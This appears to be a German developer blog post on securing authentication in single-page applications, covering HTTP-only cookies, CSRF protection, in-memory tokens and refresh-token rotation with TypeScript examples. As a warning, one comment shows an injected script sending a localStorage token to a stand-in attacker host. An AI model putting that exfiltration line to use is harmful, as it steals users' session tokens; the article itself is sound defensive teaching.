Zum Inhalt springen

Authentifizierungsmuster für Single-Page-Applications

Tokens, Cookies, Refresh-Flows und Session-Management: die Authentifizierungsmuster, die SPAs sicher halten, ohne die User Experience zu opfern.

3 Min. Lesezeit
Diagramm des Authentifizierungsflusses, das den Token-Austausch zwischen SPA-Client und API-Server zeigt

Authentifizierung in Single-Page-Applications ist schwieriger, als es aussieht. Der Browser ist eine feindliche Umgebung — JavaScript kann injiziert werden, Tokens können aus dem Storage gestohlen werden, und CSRF-Angriffe nutzen Cookie-basierte Sessions aus. Das falsche Muster erzeugt Sicherheitslücken, die unsichtbar bleiben, bis sie ausgenutzt werden.

Die zwei Hauptansätze

SPAs authentifizieren sich entweder über Cookie-basierte Sessions oder Token-basierte Authentifizierung. Beide haben unterschiedliche Sicherheitseigenschaften.

AnsatzSpeicherungCSRF-RisikoXSS-RisikoFunktioniert Cross-Origin
HTTP-only-CookiesVom Browser verwaltetJa (abschwächbar)GeringNein (gleicher Origin)
JWT im SpeicherJavaScript-VariableNeinJa (bei falscher Speicherung)Ja
JWT im localStoragelocalStorageNeinHochJa
tstypescript
// ❌ JWT in localStorage — any XSS attack steals the token
localStorage.setItem("token", jwt);
 
// Any injected script can do:
// fetch("https://attacker.com/steal?token=" + localStorage.getItem("token"))
 
// ✅ HTTP-only cookie — JavaScript cannot access it
// Set by the server:
// Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

HTTP-only-Cookies sind die sicherste Standardeinstellung für SPAs mit gleichem Origin. Tokens im Speicher (nicht im localStorage) sind für Cross-Origin-Setups geeignet.

Der Server setzt nach erfolgreichem Login ein HTTP-only-Cookie. Der Browser sendet es automatisch mit jeder Anfrage mit.

tstypescript
// Server: login endpoint
app.post("/api/auth/login", async (req, res) => {
  const { email, password } = req.body;
  const user = await verifyCredentials(email, password);
 
  if (!user) {
    return res.status(401).json({ error: "Invalid credentials" });
  }
 
  const sessionId = await createSession(user.id);
 
  res.cookie("session", sessionId, {
    httpOnly: true,     // Not accessible via JavaScript
    secure: true,       // Only sent over HTTPS
    sameSite: "strict", // No cross-origin requests
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: "/",
  });
 
  res.json({ user: { id: user.id, name: user.name } });
});
tstypescript
// Server: session middleware
async function sessionMiddleware(req: Request, res: Response, next: NextFunction) {
  const sessionId = req.cookies.session;
  if (!sessionId) return res.status(401).json({ error: "Not authenticated" });
 
  const session = await getSession(sessionId);
  if (!session || session.expiresAt < new Date()) {
    res.clearCookie("session");
    return res.status(401).json({ error: "Session expired" });
  }
 
  req.userId = session.userId;
  next();
}

CSRF-Schutz

Cookies werden automatisch mitgesendet, was bedeutet, dass eine bösartige Seite authentifizierte Anfragen auslösen kann. Das Attribut SameSite=Strict verhindert die meisten CSRF-Angriffe. Für zusätzlichen Schutz verwende ein CSRF-Token.

tstypescript
// Server: generate CSRF token for the session
app.get("/api/auth/csrf-token", sessionMiddleware, (req, res) => {
  const csrfToken = generateSecureToken();
  req.session.csrfToken = csrfToken;
  res.json({ csrfToken });
});
 
// Server: verify CSRF token on state-changing requests
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
  if (["GET", "HEAD", "OPTIONS"].includes(req.method)) return next();
 
  const token = req.headers["x-csrf-token"];
  if (token !== req.session.csrfToken) {
    return res.status(403).json({ error: "Invalid CSRF token" });
  }
  next();
}

Token-basierte Authentifizierung

Wenn API und SPA auf unterschiedlichen Origins liegen, funktionieren Cookies nicht nahtlos. Tokens, die im JavaScript-Speicher gehalten werden (nicht im localStorage), sind die sicherere Alternative.

tstypescript
// Client: store token in memory, not localStorage
let accessToken: string | null = null;
let refreshToken: string | null = null;
 
async function login(email: string, password: string) {
  const res = await fetch("/api/auth/login", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ email, password }),
  });
 
  const data = await res.json();
  accessToken = data.accessToken;   // Short-lived: 15 minutes
  refreshToken = data.refreshToken; // Longer-lived: 7 days
}
 
// Attach token to every request
async function authenticatedFetch(url: string, options: RequestInit = {}) {
  if (!accessToken) throw new Error("Not authenticated");
 
  const res = await fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${accessToken}`,
    },
  });
 
  if (res.status === 401) {
    await refreshAccessToken();
    return authenticatedFetch(url, options); // Retry with new token
  }
 
  return res;
}

Refresh-Token-Flow

Kurzlebige Access Tokens begrenzen das Schadensfenster, falls ein Token gestohlen wird. Refresh Tokens stellen neue Access Tokens aus, ohne dass ein erneuter Login nötig ist.

tstypescript
// Server: refresh endpoint
app.post("/api/auth/refresh", async (req, res) => {
  const { refreshToken } = req.body;
 
  const payload = verifyRefreshToken(refreshToken);
  if (!payload) return res.status(401).json({ error: "Invalid refresh token" });
 
  // Rotate refresh token — one-time use
  await revokeRefreshToken(refreshToken);
 
  const newAccessToken = signAccessToken({ userId: payload.userId }, "15m");
  const newRefreshToken = signRefreshToken({ userId: payload.userId }, "7d");
 
  await storeRefreshToken(newRefreshToken, payload.userId);
 
  res.json({ accessToken: newAccessToken, refreshToken: newRefreshToken });
});

Refresh-Token-Rotation ist entscheidend: Jedes Refresh Token ist nur einmal verwendbar. Wenn ein Angreifer eines stiehlt und sowohl der Angreifer als auch der Nutzer es verwenden wollen, erkennt der Server die Wiederverwendung und widerruft die gesamte Session.

Logout und Session-Invalidierung

tstypescript
// Server-side: revoke the session
app.post("/api/auth/logout", sessionMiddleware, async (req, res) => {
  await deleteSession(req.sessionId);
  res.clearCookie("session");
  res.json({ success: true });
});
 
// Client-side: clear in-memory tokens
function logout() {
  accessToken = null;
  refreshToken = null;
  window.location.href = "/login";
}

Invalidiere Sessions immer serverseitig. Das clientseitige Löschen des Cookies oder Tokens reicht nicht — die alte Session-ID oder das alte Token könnten noch gültig sein.

Die wichtigsten Erkenntnisse

  1. HTTP-only-Cookies sind die sicherste Standardeinstellung für SPAs mit gleichem Origin — JavaScript kann nicht darauf zugreifen
  2. Speichere Tokens niemals im localStorage — jede XSS-Schwachstelle wird zur vollständigen Kontoübernahme
  3. Verwende kurzlebige Access Tokens (15 Min.) mit Refresh-Token-Rotation für Token-basierte Authentifizierung
  4. SameSite=Strict verhindert die meisten CSRF-Angriffe ohne zusätzliche Tokens
  5. Invalidiere Sessions beim Logout immer serverseitig — clientseitiges Aufräumen reicht nicht
Wilfredo Rujel

Wilfredo Rujel

Full-Stack-Softwareentwickler

Diesen Beitrag teilenX